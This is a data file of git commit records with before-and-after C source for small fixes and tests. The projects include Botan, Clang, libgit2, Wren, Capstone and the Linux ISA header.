{"commit":"f149841cd24851add6ea9e8680a0f65f00bf1652","old_file":"src\/rng\/auto_rng\/auto_rng.h","new_file":"src\/rng\/auto_rng\/auto_rng.h","old_contents":"\/*\n* Auto Seeded RNG\n* (C) 2008 Jack Lloyd\n*\n* Distributed under the terms of the Botan license\n*\/\n\n#ifndef BOTAN_AUTO_SEEDING_RNG_H__\n#define BOTAN_AUTO_SEEDING_RNG_H__\n\n#include <botan\/rng.h>\n#include <string>\n\nnamespace Botan {\n\n\/**\n* RNG that attempts to seed itself\n*\/\nclass BOTAN_DLL AutoSeeded_RNG : public RandomNumberGenerator\n   {\n   public:\n      void randomize(byte out[], u32bit len)\n         { rng->randomize(out, len); }\n      bool is_seeded() const\n         { return rng->is_seeded(); }\n      void clear() throw() { rng->clear(); }\n      std::string name() const\n         { return \"AutoSeeded(\" + rng->name() + \")\"; }\n\n      void reseed(u32bit poll_bits) { rng->reseed(poll_bits); }\n      void add_entropy_source(EntropySource* es)\n         { rng->add_entropy_source(es); }\n      void add_entropy(const byte in[], u32bit len)\n         { rng->add_entropy(in, len); }\n\n      AutoSeeded_RNG(u32bit poll_bits = 256);\n      ~AutoSeeded_RNG() { delete rng; }\n   private:\n      RandomNumberGenerator* rng;\n   };\n\n}\n\n#endif\n","new_contents":"\/*\n* Auto Seeded RNG\n* (C) 2008 Jack Lloyd\n*\n* Distributed under the terms of the Botan license\n*\/\n\n#ifndef BOTAN_AUTO_SEEDING_RNG_H__\n#define BOTAN_AUTO_SEEDING_RNG_H__\n\n#include <botan\/rng.h>\n#include <string>\n\nnamespace Botan {\n\n\/**\n* RNG that attempts to seed itself\n*\/\nclass BOTAN_DLL AutoSeeded_RNG : public RandomNumberGenerator\n   {\n   public:\n      void randomize(byte out[], u32bit len)\n         { rng->randomize(out, len); }\n      bool is_seeded() const\n         { return rng->is_seeded(); }\n      void clear() throw() { rng->clear(); }\n      std::string name() const\n         { return \"AutoSeeded(\" + rng->name() + \")\"; }\n\n      void reseed(u32bit poll_bits = 256) { rng->reseed(poll_bits); }\n      void add_entropy_source(EntropySource* es)\n         { rng->add_entropy_source(es); }\n      void add_entropy(const byte in[], u32bit len)\n         { rng->add_entropy(in, len); }\n\n      AutoSeeded_RNG(u32bit poll_bits = 256);\n      ~AutoSeeded_RNG() { delete rng; }\n   private:\n      RandomNumberGenerator* rng;\n   };\n\n}\n\n#endif\n","subject":"Make AutoSeeded_RNG::reseed's parameter default to 256 for compatability with the version in earlier releases. Rickard Bondesson pointed out that this was a problem on the mailing list.","message":"Make AutoSeeded_RNG::reseed's parameter default to 256 for compatability\nwith the version in earlier releases. Rickard Bondesson pointed out that\nthis was a problem on the mailing list.\n","lang":"C","license":"bsd-2-clause","repos":"webmaster128\/botan,Rohde-Schwarz-Cybersecurity\/botan,randombit\/botan,webmaster128\/botan,webmaster128\/botan,randombit\/botan,randombit\/botan,randombit\/botan,Rohde-Schwarz-Cybersecurity\/botan,Rohde-Schwarz-Cybersecurity\/botan,Rohde-Schwarz-Cybersecurity\/botan,webmaster128\/botan,Rohde-Schwarz-Cybersecurity\/botan,webmaster128\/botan,Rohde-Schwarz-Cybersecurity\/botan,randombit\/botan"}
{"commit":"2f0754c068fb97036f2a78e56768e27e5668e3c7","old_file":"test\/Driver\/aarch64-cpus.c","new_file":"test\/Driver\/aarch64-cpus.c","old_contents":"\/\/ Check target CPUs are correctly passed.\n\n\/\/ RUN: %clang -target aarch64 -### -c %s 2>&1 | FileCheck -check-prefix=GENERIC %s\n\/\/ GENERIC: \"-cc1\"{{.*}} \"-triple\" \"aarch64\" {{.*}} \"-target-cpu\" \"generic\"\n\n\/\/ RUN: %clang -target aarch64 -mcpu=cortex-a53 -### -c %s 2>&1 | FileCheck -check-prefix=CA53 %s\n\/\/ CA53: \"-cc1\"{{.*}} \"-triple\" \"aarch64\" {{.*}} \"-target-cpu\" \"cortex-a53\"\n\n\/\/ RUN: %clang -target aarch64 -mcpu=cortex-a57 -### -c %s 2>&1 | FileCheck -check-prefix=CA57 %s\n\/\/ CA57: \"-cc1\"{{.*}} \"-triple\" \"aarch64\" {{.*}} \"-target-cpu\" \"cortex-a57\"\n","new_contents":"\/\/ Check target CPUs are correctly passed.\n\n\/\/ RUN: %clang -target aarch64 -### -c %s 2>&1 | FileCheck -check-prefix=GENERIC %s\n\/\/ GENERIC: \"-cc1\"{{.*}} \"-triple\" \"aarch64{{.*}}\" \"-target-cpu\" \"generic\"\n\n\/\/ RUN: %clang -target aarch64 -mcpu=cortex-a53 -### -c %s 2>&1 | FileCheck -check-prefix=CA53 %s\n\/\/ CA53: \"-cc1\"{{.*}} \"-triple\" \"aarch64{{.*}}\" \"-target-cpu\" \"cortex-a53\"\n\n\/\/ RUN: %clang -target aarch64 -mcpu=cortex-a57 -### -c %s 2>&1 | FileCheck -check-prefix=CA57 %s\n\/\/ CA57: \"-cc1\"{{.*}} \"-triple\" \"aarch64{{.*}}\" \"-target-cpu\" \"cortex-a57\"\n","subject":"Fix wildcard matching on CHECK lines. Now recognises arch64--.","message":"AArch64: Fix wildcard matching on CHECK lines. Now recognises arch64--.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@193858 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"5852b273a6e8b1e066026ebf5aef9f00e0f70f5a","old_file":"hab\/proxr\/cb-set-resource.c","new_file":"hab\/proxr\/cb-set-resource.c","old_contents":"#include <string.h>\n#include \"proxrcmds.h\"\n#include \"sim-hab.h\"\n\nvoid cb_set_resource(bionet_resource_t *resource, bionet_value_t *value)\n{\n    double data;\n    double content;\n    int id;\n    bionet_node_t *node;\n\n    bionet_value_get_float(value, &data);\n    if(data < 0 || data > 255)\n\treturn;\n\n    node = bionet_resource_get_node(resource);\n    \/\/ get index of resource\n    \/\/FIXME: probably a better way to do this\n    for(int i=0; i<16; i++)\n    {\n        char buf[5];\n        char name[24];\n        strcpy(name, \"Potentiometer\\0\");\n        sprintf(buf,\"%d\", i);\n        int len = strlen(buf);\n        buf[len] = '\\0';\n        strcat(name, buf);\n\n        if(bionet_resource_matches_id(resource, name))\n        {\n            id = i;\n    \t    \/\/ command proxr to adjust to new value\n    \t    set_potentiometer(id, (int)data); \n\t    \/\/ set resources datapoint to new value\n            content = data*POT_CONVERSION; \n            bionet_resource_set_float(resource, content, NULL);\n            hab_report_datapoints(node);\n            return;\n        }\n    }\n}\n\n","new_contents":"#include <string.h>\n#include \"proxrcmds.h\"\n#include \"sim-hab.h\"\n\nvoid cb_set_resource(bionet_resource_t *resource, bionet_value_t *value)\n{\n    double data;\n    double content;\n    int id;\n    bionet_node_t *node;\n\n    bionet_value_get_float(value, &data);\n    if(data < 0 || data > 255)\n\treturn;\n\n    node = bionet_resource_get_node(resource);\n    \/\/ get index of resource\n    \/\/FIXME: probably a better way to do this\n    for(int i=0; i<16; i++)\n    {\n        char buf[5];\n        char name[24];\n        strcpy(name, \"Potentiometer\\0\");\n        sprintf(buf,\"%d\", i);\n        int len = strlen(buf);\n        buf[len] = '\\0';\n        strcat(name, buf);\n\n        if(bionet_resource_matches_id(resource, name))\n        {\n            id = i;\n    \t    \/\/ command proxr to adjust to new value\n    \t    set_potentiometer(id, (int)data); \n\t    \/\/ set resources datapoint to new value\n            content = data*POT_CONVERSION; \n            bionet_resource_set_double(resource, content, NULL);\n            hab_report_datapoints(node);\n            return;\n        }\n    }\n}\n\n","subject":"Change to double. Missed from previous commit.","message":"Change to double. Missed from previous commit.\n","lang":"C","license":"lgpl-2.1","repos":"ldm5180\/hammerhead,ldm5180\/hammerhead,ldm5180\/hammerhead,ldm5180\/hammerhead,ldm5180\/hammerhead,ldm5180\/hammerhead,ldm5180\/hammerhead"}
{"commit":"0bd3a274a2d2f2ed68fc3835f64cbe6a5f52bea9","old_file":"iosstart.h","new_file":"iosstart.h","old_contents":"\n#include \"glk.h\"\n\nextern void iosglk_set_can_restart_flag(int);\nextern int iosglk_can_restart_cleanly(void);\nextern void iosglk_shut_down_process(void) GLK_ATTRIBUTE_NORETURN;\n","new_contents":"\n#include \"glk.h\"\n#include \"iosglk_startup.h\"\n\nextern void iosglk_set_can_restart_flag(int);\nextern int iosglk_can_restart_cleanly(void);\nextern void iosglk_shut_down_process(void) GLK_ATTRIBUTE_NORETURN;\n","subject":"Include the generic startup header, since that declares iosglk_startup_code().","message":"Include the generic startup header, since that declares\niosglk_startup_code().\n","lang":"C","license":"mit","repos":"erkyrath\/glulxe,erkyrath\/glulxe"}
{"commit":"8ee49a928070436198b8663c2e5306fc7e0a64a2","old_file":"software\/src\/master\/src\/kernel\/Vca_VTypePattern.h","new_file":"software\/src\/master\/src\/kernel\/Vca_VTypePattern.h","old_contents":"#ifndef Vca_VTypePattern_Interface\n#define Vca_VTypePattern_Interface\n\n\/*********************\n *****  Library  *****\n *********************\/\n\n#include \"Vca.h\"\n\n\/**************************\n *****  Declarations  *****\n **************************\/\n\nclass VString;\n\n\/*************************\n *****  Definitions  *****\n *************************\/\n\nnamespace Vca {\n\n\/*******************************************************\n *----  template <typename T> struct VTypePattern  ----*\n *******************************************************\/\n\n    template <typename T> struct VTypePattern {\n\ttypedef T val_t;\n\ttypedef T var_t;\n    };\n\n\/*****************************************************************\n *----  template <typename T> struct VTypePattern<T const&>  ----*\n *****************************************************************\/\n\n    template <typename T> struct VTypePattern<T const&> {\n\ttypedef T const& val_t;\n\ttypedef T var_t;\n    };\n\n\/***********************************************************\n *----  template <typename T> struct VTypePattern<T*>  ----*\n ***********************************************************\/\n\n    template <typename T> struct VTypePattern<T*> {\n\ttypedef T val_t;\n\ttypedef typename T::Reference var_t;\n    };\n\n\/**********************************************************\n *----  template <> struct VTypePattern<char const*>  ----*\n **********************************************************\/\n\n    template <> struct VTypePattern<char const*> {\n\ttypedef char const* val_t;\n\ttypedef VString var_t;\n    };\n\n}\n\n\n#endif\n","new_contents":"#ifndef Vca_VTypePattern_Interface\n#define Vca_VTypePattern_Interface\n\n\/*********************\n *****  Library  *****\n *********************\/\n\n#include \"Vca.h\"\n\n\/**************************\n *****  Declarations  *****\n **************************\/\n\nclass VString;\n\n\/*************************\n *****  Definitions  *****\n *************************\/\n\nnamespace Vca {\n\n\/*******************************************************\n *----  template <typename T> struct VTypePattern  ----*\n *******************************************************\/\n\n    template <typename T> struct VTypePattern {\n\ttypedef T val_t;\n\ttypedef T var_t;\n    };\n\n\/*****************************************************************\n *----  template <typename T> struct VTypePattern<T const&>  ----*\n *****************************************************************\/\n\n    template <typename T> struct VTypePattern<T const&> {\n\ttypedef T const& val_t;\n\ttypedef T var_t;\n    };\n\n\/***********************************************************\n *----  template <typename T> struct VTypePattern<T*>  ----*\n ***********************************************************\/\n\n    template <typename T> struct VTypePattern<T*> {\n\ttypedef T* val_t;\n\ttypedef typename T::Reference var_t;\n    };\n\n\/**********************************************************\n *----  template <> struct VTypePattern<char const*>  ----*\n **********************************************************\/\n\n    template <> struct VTypePattern<char const*> {\n\ttypedef char const* val_t;\n\ttypedef VString var_t;\n    };\n\n}\n\n\n#endif\n","subject":"Fix unused incorrect 'VTypePattern<T*>::val_t' definition","message":"Fix unused incorrect 'VTypePattern<T*>::val_t' definition\n","lang":"C","license":"bsd-3-clause","repos":"vision-dbms\/vision,MichaelJCaruso\/vision,vision-dbms\/vision,c-kuhlman\/vision,MichaelJCaruso\/vision,c-kuhlman\/vision,vision-dbms\/vision,MichaelJCaruso\/vision,VisionAerie\/vision,MichaelJCaruso\/vision,c-kuhlman\/vision,VisionAerie\/vision,c-kuhlman\/vision,VisionAerie\/vision,vision-dbms\/vision,vision-dbms\/vision,VisionAerie\/vision,VisionAerie\/vision,c-kuhlman\/vision,MichaelJCaruso\/vision,MichaelJCaruso\/vision,VisionAerie\/vision,vision-dbms\/vision,VisionAerie\/vision"}
{"commit":"d3a0143babe7410117ec231571c6cf4f036cf6c8","old_file":"suite\/regress\/invalid_read_in_print_operand.c","new_file":"suite\/regress\/invalid_read_in_print_operand.c","old_contents":"","new_contents":"#include <capstone.h>\n\n#define BINARY \"\\x3b\\x30\\x62\\x93\\x5d\\x61\\x03\\xe8\"\n\nint main(int argc, char **argv, char **envp) {\n  csh handle;\n  if (cs_open(CS_ARCH_X86, CS_MODE_64, &handle)) {\n    printf(\"cs_open(…) failed\\n\");\n    return 1;\n  }\n  cs_insn *insn;\n  cs_disasm(handle, (uint8_t *)BINARY, sizeof(BINARY) - 1, 0x1000, 0, &insn);\n  return 0;\n}\n","subject":"Add crash case: \"Invalid read of size 4\" in printOperand(…)","message":"Add crash case: \"Invalid read of size 4\" in printOperand(…)\n","lang":"C","license":"bsd-3-clause","repos":"bSr43\/capstone,bSr43\/capstone,AmesianX\/capstone,pranith\/capstone,bigendiansmalls\/capstone,AmesianX\/capstone,pombredanne\/capstone,pranith\/capstone,bigendiansmalls\/capstone,bigendiansmalls\/capstone,AmesianX\/capstone,pranith\/capstone,pombredanne\/capstone,bigendiansmalls\/capstone,pranith\/capstone,bigendiansmalls\/capstone,AmesianX\/capstone,pombredanne\/capstone,AmesianX\/capstone,pranith\/capstone,pombredanne\/capstone,pombredanne\/capstone,bigendiansmalls\/capstone,bigendiansmalls\/capstone,pombredanne\/capstone,bSr43\/capstone,pranith\/capstone,AmesianX\/capstone,AmesianX\/capstone,bSr43\/capstone,bSr43\/capstone,bSr43\/capstone,pombredanne\/capstone,bSr43\/capstone,pranith\/capstone"}
{"commit":"c08b1f2c070ad030064c608cdc09e22f7bfc7bd6","old_file":"tests\/regression\/06-symbeq\/37-var_eq-widen1.c","new_file":"tests\/regression\/06-symbeq\/37-var_eq-widen1.c","old_contents":"","new_contents":"\/\/ SKIP PARAM: --set ana.activated[+] var_eq\n\/\/ manually minimized from sv-benchmarks\/c\/ldv-linux-3.16-rc1\/205_9a_array_unsafes_linux-3.16-rc1.tar.xz-205_9a-drivers--net--usb--cx82310_eth.ko-entry_point.cil.out.i\n\/\/ used to call widen incorrectly\ntypedef _Bool bool;\n\nvoid usb_bulk_msg(int *arg4, int x) {\n\n}\n\nvoid cx82310_cmd(bool reply ,unsigned char *wdata , int wlen)\n{\n  int actual_len ;\n  int retries ;\n  int __min1 ;\n  __min1 = wlen;\n\n  retries = 0;\n  while (retries <= 4) {\n    usb_bulk_msg(&actual_len, 1U);\n    if (actual_len > 0)\n      return;\n    retries = retries + 1;\n  }\n}\n\nint main(void)\n{\n  cx82310_cmd(1, \"a\", 1);\n  return 0;\n}\n","subject":"Add var_eq test with invalid widen","message":"Add var_eq test with invalid widen\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"b59eeaf2d1365e2c42ea1bdb9521a5e0302469b8","old_file":"src\/cli\/main.c","new_file":"src\/cli\/main.c","old_contents":"#include <stdio.h>\n#include <string.h>\n\n#include \"os.h\"\n#include \"vm.h\"\n#include \"wren.h\"\n\nint main(int argc, const char* argv[])\n{\n  if (argc == 2 && strcmp(argv[1], \"--help\") == 0)\n  {\n    printf(\"Usage: wren [file] [arguments...]\\n\");\n    printf(\"  --help  Show command line usage\\n\");\n    return 0;\n  }\n  \n  osSetArguments(argc, argv);\n\n  if (argc == 1)\n  {\n    runRepl();\n  }\n  else\n  {\n    runFile(argv[1]);\n  }\n\n  return 0;\n}\n","new_contents":"#include <stdio.h>\n#include <string.h>\n\n#include \"os.h\"\n#include \"vm.h\"\n#include \"wren.h\"\n\nint main(int argc, const char* argv[])\n{\n  if (argc == 2 && strcmp(argv[1], \"--help\") == 0)\n  {\n    printf(\"Usage: wren [file] [arguments...]\\n\");\n    printf(\"  --help  Show command line usage\\n\");\n    return 0;\n  }\n  \n  if (argc == 2 && strcmp(argv[1], \"--version\") == 0)\n  {\n    printf(\"wren %s\\n\", WREN_VERSION_STRING);\n    return 0;\n  }\n  \n  osSetArguments(argc, argv);\n\n  if (argc == 1)\n  {\n    runRepl();\n  }\n  else\n  {\n    runFile(argv[1]);\n  }\n\n  return 0;\n}\n","subject":"Support \"--version\" in the CLI to print the version.","message":"Support \"--version\" in the CLI to print the version.\n","lang":"C","license":"mit","repos":"Nelarius\/wren,minirop\/wren,minirop\/wren,munificent\/wren,foresterre\/wren,minirop\/wren,foresterre\/wren,munificent\/wren,minirop\/wren,foresterre\/wren,munificent\/wren,Nelarius\/wren,munificent\/wren,minirop\/wren,munificent\/wren,foresterre\/wren,Nelarius\/wren,munificent\/wren,Nelarius\/wren,Nelarius\/wren,foresterre\/wren"}
{"commit":"5abfe2c2363d3c9f2597664edf3810a80017759f","old_file":"test\/Sema\/complex-promotion.c","new_file":"test\/Sema\/complex-promotion.c","old_contents":"\/\/ RUN: clang %s -verify -fsyntax-only\n\nfloat a;\n\nint b[__builtin_classify_type(a + 1i) == 9 ? 1 : -1];\nint c[__builtin_classify_type(1i + a) == 9 ? 1 : -1];\n\ndouble d;\n__typeof__ (d + 1i) e;\n\nint f[sizeof(e) == 2 * sizeof(double) ? 1 : -1];\n","new_contents":"\/\/ RUN: clang %s -verify -fsyntax-only\n\nfloat a;\n\nint b[__builtin_classify_type(a + 1i) == 9 ? 1 : -1];\nint c[__builtin_classify_type(1i + a) == 9 ? 1 : -1];\n\ndouble d;\n__typeof__ (d + 1i) e;\n\nint f[sizeof(e) == 2 * sizeof(double) ? 1 : -1];\n\nint g;\nint h[__builtin_classify_type(g + 1.0i) == 9 ? 1 : -1];\nint i[__builtin_classify_type(1.0i + a) == 9 ? 1 : -1];\n","subject":"Add another complex promotion test.","message":"Add another complex promotion test.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@60863 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"cfd192b0140f004404a208cde967ac8eef16cdff","old_file":"tests-clar\/threads\/basic.c","new_file":"tests-clar\/threads\/basic.c","old_contents":"#include \"clar_libgit2.h\"\n\n#include \"cache.h\"\n\n\nstatic git_repository *g_repo;\n\nvoid test_threads_basic__initialize(void)\n{\n\tg_repo = cl_git_sandbox_init(\"testrepo\");\n}\n\nvoid test_threads_basic__cleanup(void)\n{\n\tcl_git_sandbox_cleanup();\n}\n\n\nvoid test_threads_basic__cache(void)\n{\n\t\/\/ run several threads polling the cache at the same time\n\tcl_assert(1 == 1);\n}\n","new_contents":"#include \"clar_libgit2.h\"\n\n#include \"cache.h\"\n\n\nstatic git_repository *g_repo;\n\nvoid test_threads_basic__initialize(void)\n{\n\tg_repo = cl_git_sandbox_init(\"testrepo\");\n}\n\nvoid test_threads_basic__cleanup(void)\n{\n\tcl_git_sandbox_cleanup();\n}\n\n\nvoid test_threads_basic__cache(void)\n{\n\t\/\/ run several threads polling the cache at the same time\n\tcl_assert(1 == 1);\n}\n\nvoid test_threads_basic__multiple_init(void)\n{\n\tgit_repository *nested_repo;\n\n\tgit_threads_init();\n\tcl_git_pass(git_repository_open(&nested_repo, cl_fixture(\"testrepo.git\")));\n\tgit_repository_free(nested_repo);\n\n\tgit_threads_shutdown();\n\tcl_git_pass(git_repository_open(&nested_repo, cl_fixture(\"testrepo.git\")));\n\tgit_repository_free(nested_repo);\n}\n","subject":"Add test for multiple thread init\/shutdown","message":"Add test for multiple thread init\/shutdown\n","lang":"C","license":"lgpl-2.1","repos":"mhp\/libgit2,maxiaoqian\/libgit2,t0xicCode\/libgit2,rcorre\/libgit2,KTXSoftware\/libgit2,Aorjoa\/libgit2_maked_lib,chiayolin\/libgit2,claudelee\/libgit2,claudelee\/libgit2,sygool\/libgit2,nokiddin\/libgit2,yongthecoder\/libgit2,oaastest\/libgit2,Tousiph\/Demo1,spraints\/libgit2,Aorjoa\/libgit2_maked_lib,leoyanggit\/libgit2,yosefhackmon\/libgit2,since2014\/libgit2,Snazz2001\/libgit2,mhp\/libgit2,claudelee\/libgit2,skabel\/manguse,falqas\/libgit2,kissthink\/libgit2,Snazz2001\/libgit2,yosefhackmon\/libgit2,maxiaoqian\/libgit2,ardumont\/libgit2,Tousiph\/Demo1,ardumont\/libgit2,jflesch\/libgit2-mariadb,skabel\/manguse,falqas\/libgit2,sim0629\/libgit2,iankronquist\/libgit2,whoisj\/libgit2,sygool\/libgit2,saurabhsuniljain\/libgit2,saurabhsuniljain\/libgit2,since2014\/libgit2,dleehr\/libgit2,falqas\/libgit2,raybrad\/libit2,oaastest\/libgit2,kissthink\/libgit2,yongthecoder\/libgit2,spraints\/libgit2,kissthink\/libgit2,magnus98\/TEST,rcorre\/libgit2,JIghtuse\/libgit2,sim0629\/libgit2,raybrad\/libit2,leoyanggit\/libgit2,sygool\/libgit2,since2014\/libgit2,mcanthony\/libgit2,mcanthony\/libgit2,spraints\/libgit2,nokiddin\/libgit2,falqas\/libgit2,KTXSoftware\/libgit2,mingyaaaa\/libgit2,sygool\/libgit2,skabel\/manguse,Snazz2001\/libgit2,kenprice\/libgit2,yosefhackmon\/libgit2,kenprice\/libgit2,Tousiph\/Demo1,maxiaoqian\/libgit2,dleehr\/libgit2,linquize\/libgit2,KTXSoftware\/libgit2,MrHacky\/libgit2,leoyanggit\/libgit2,Tousiph\/Demo1,rcorre\/libgit2,kenprice\/libgit2,kenprice\/libgit2,jflesch\/libgit2-mariadb,Aorjoa\/libgit2_maked_lib,Aorjoa\/libgit2_maked_lib,ardumont\/libgit2,chiayolin\/libgit2,jflesch\/libgit2-mariadb,jeffhostetler\/public_libgit2,saurabhsuniljain\/libgit2,yongthecoder\/libgit2,iankronquist\/libgit2,whoisj\/libgit2,joshtriplett\/libgit2,linquize\/libgit2,yongthecoder\/libgit2,raybrad\/libit2,mcanthony\/libgit2,linquize\/libgit2,falqas\/libgit2,saurabhsuniljain\/libgit2,whoisj\/libgit2,swisspol\/DEMO-libgit2,amyvmiwei\/libgit2,KTXSoftware\/libgit2,mhp\/libgit2,joshtriplett\/libgit2,mingyaaaa\/libgit2,kissthink\/libgit2,dleehr\/libgit2,stewid\/libgit2,yosefhackmon\/libgit2,spraints\/libgit2,oaastest\/libgit2,Corillian\/libgit2,swisspol\/DEMO-libgit2,skabel\/manguse,magnus98\/TEST,nokiddin\/libgit2,MrHacky\/libgit2,JIghtuse\/libgit2,oaastest\/libgit2,leoyanggit\/libgit2,mcanthony\/libgit2,magnus98\/TEST,jeffhostetler\/public_libgit2,stewid\/libgit2,rcorre\/libgit2,mrksrm\/Mingijura,dleehr\/libgit2,sim0629\/libgit2,yongthecoder\/libgit2,stewid\/libgit2,mrksrm\/Mingijura,JIghtuse\/libgit2,JIghtuse\/libgit2,mhp\/libgit2,claudelee\/libgit2,Corillian\/libgit2,mrksrm\/Mingijura,sim0629\/libgit2,Snazz2001\/libgit2,JIghtuse\/libgit2,dleehr\/libgit2,joshtriplett\/libgit2,since2014\/libgit2,mrksrm\/Mingijura,skabel\/manguse,KTXSoftware\/libgit2,magnus98\/TEST,oaastest\/libgit2,ardumont\/libgit2,mingyaaaa\/libgit2,saurabhsuniljain\/libgit2,leoyanggit\/libgit2,JIghtuse\/libgit2,amyvmiwei\/libgit2,whoisj\/libgit2,kenprice\/libgit2,kenprice\/libgit2,mcanthony\/libgit2,stewid\/libgit2,ardumont\/libgit2,mingyaaaa\/libgit2,spraints\/libgit2,magnus98\/TEST,falqas\/libgit2,Corillian\/libgit2,Corillian\/libgit2,jflesch\/libgit2-mariadb,yosefhackmon\/libgit2,MrHacky\/libgit2,swisspol\/DEMO-libgit2,linquize\/libgit2,t0xicCode\/libgit2,claudelee\/libgit2,maxiaoqian\/libgit2,Aorjoa\/libgit2_maked_lib,oaastest\/libgit2,skabel\/manguse,swisspol\/DEMO-libgit2,Tousiph\/Demo1,mingyaaaa\/libgit2,iankronquist\/libgit2,jeffhostetler\/public_libgit2,MrHacky\/libgit2,jeffhostetler\/public_libgit2,Tousiph\/Demo1,joshtriplett\/libgit2,mcanthony\/libgit2,nokiddin\/libgit2,spraints\/libgit2,MrHacky\/libgit2,jeffhostetler\/public_libgit2,joshtriplett\/libgit2,joshtriplett\/libgit2,KTXSoftware\/libgit2,mhp\/libgit2,leoyanggit\/libgit2,raybrad\/libit2,ardumont\/libgit2,swisspol\/DEMO-libgit2,maxiaoqian\/libgit2,rcorre\/libgit2,t0xicCode\/libgit2,iankronquist\/libgit2,claudelee\/libgit2,whoisj\/libgit2,t0xicCode\/libgit2,magnus98\/TEST,amyvmiwei\/libgit2,since2014\/libgit2,Corillian\/libgit2,nokiddin\/libgit2,dleehr\/libgit2,chiayolin\/libgit2,Snazz2001\/libgit2,mhp\/libgit2,amyvmiwei\/libgit2,yongthecoder\/libgit2,sygool\/libgit2,jflesch\/libgit2-mariadb,chiayolin\/libgit2,t0xicCode\/libgit2,mrksrm\/Mingijura,sim0629\/libgit2,sim0629\/libgit2,iankronquist\/libgit2,jflesch\/libgit2-mariadb,stewid\/libgit2,chiayolin\/libgit2,stewid\/libgit2,mrksrm\/Mingijura,linquize\/libgit2,t0xicCode\/libgit2,yosefhackmon\/libgit2,rcorre\/libgit2,raybrad\/libit2,amyvmiwei\/libgit2,sygool\/libgit2,Corillian\/libgit2,mingyaaaa\/libgit2,Snazz2001\/libgit2,linquize\/libgit2,since2014\/libgit2,saurabhsuniljain\/libgit2,jeffhostetler\/public_libgit2,chiayolin\/libgit2,kissthink\/libgit2,MrHacky\/libgit2,swisspol\/DEMO-libgit2,amyvmiwei\/libgit2,nokiddin\/libgit2,whoisj\/libgit2,iankronquist\/libgit2,maxiaoqian\/libgit2,kissthink\/libgit2"}
{"commit":"fa890d586cc127ce72597ba0a909bfecf784e10c","old_file":"include\/linux\/isa.h","new_file":"include\/linux\/isa.h","old_contents":"\/*\n * ISA bus.\n *\/\n\n#ifndef __LINUX_ISA_H\n#define __LINUX_ISA_H\n\n#include <linux\/device.h>\n#include <linux\/kernel.h>\n\nstruct isa_driver {\n\tint (*match)(struct device *, unsigned int);\n\tint (*probe)(struct device *, unsigned int);\n\tint (*remove)(struct device *, unsigned int);\n\tvoid (*shutdown)(struct device *, unsigned int);\n\tint (*suspend)(struct device *, unsigned int, pm_message_t);\n\tint (*resume)(struct device *, unsigned int);\n\n\tstruct device_driver driver;\n\tstruct device *devices;\n};\n\n#define to_isa_driver(x) container_of((x), struct isa_driver, driver)\n\nint isa_register_driver(struct isa_driver *, unsigned int);\nvoid isa_unregister_driver(struct isa_driver *);\n\n#endif \/* __LINUX_ISA_H *\/\n","new_contents":"\/*\n * ISA bus.\n *\/\n\n#ifndef __LINUX_ISA_H\n#define __LINUX_ISA_H\n\n#include <linux\/device.h>\n#include <linux\/kernel.h>\n\nstruct isa_driver {\n\tint (*match)(struct device *, unsigned int);\n\tint (*probe)(struct device *, unsigned int);\n\tint (*remove)(struct device *, unsigned int);\n\tvoid (*shutdown)(struct device *, unsigned int);\n\tint (*suspend)(struct device *, unsigned int, pm_message_t);\n\tint (*resume)(struct device *, unsigned int);\n\n\tstruct device_driver driver;\n\tstruct device *devices;\n};\n\n#define to_isa_driver(x) container_of((x), struct isa_driver, driver)\n\n#ifdef CONFIG_ISA\nint isa_register_driver(struct isa_driver *, unsigned int);\nvoid isa_unregister_driver(struct isa_driver *);\n#else\nstatic inline int isa_register_driver(struct isa_driver *d, unsigned int i)\n{\n\treturn 0;\n}\n\nstatic inline void isa_unregister_driver(struct isa_driver *d)\n{\n}\n#endif\n\n#endif \/* __LINUX_ISA_H *\/\n","subject":"Fix non-ISA link error in drivers\/scsi\/advansys.c","message":"Fix non-ISA link error in drivers\/scsi\/advansys.c\n\nWhen CONFIG_ISA is disabled, the isa_driver support will not be compiled\nin.  Define stubs so that we don't get link-time errors.\n\nSigned-off-by: Matthew Wilcox <f80d0ca101e967b50b730ddf8e8aca0de85e8df6@wil.cx>\nSigned-off-by: Linus Torvalds <69652caca27c8b940640ad396ab71f93cacec34f@linux-foundation.org>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs"}
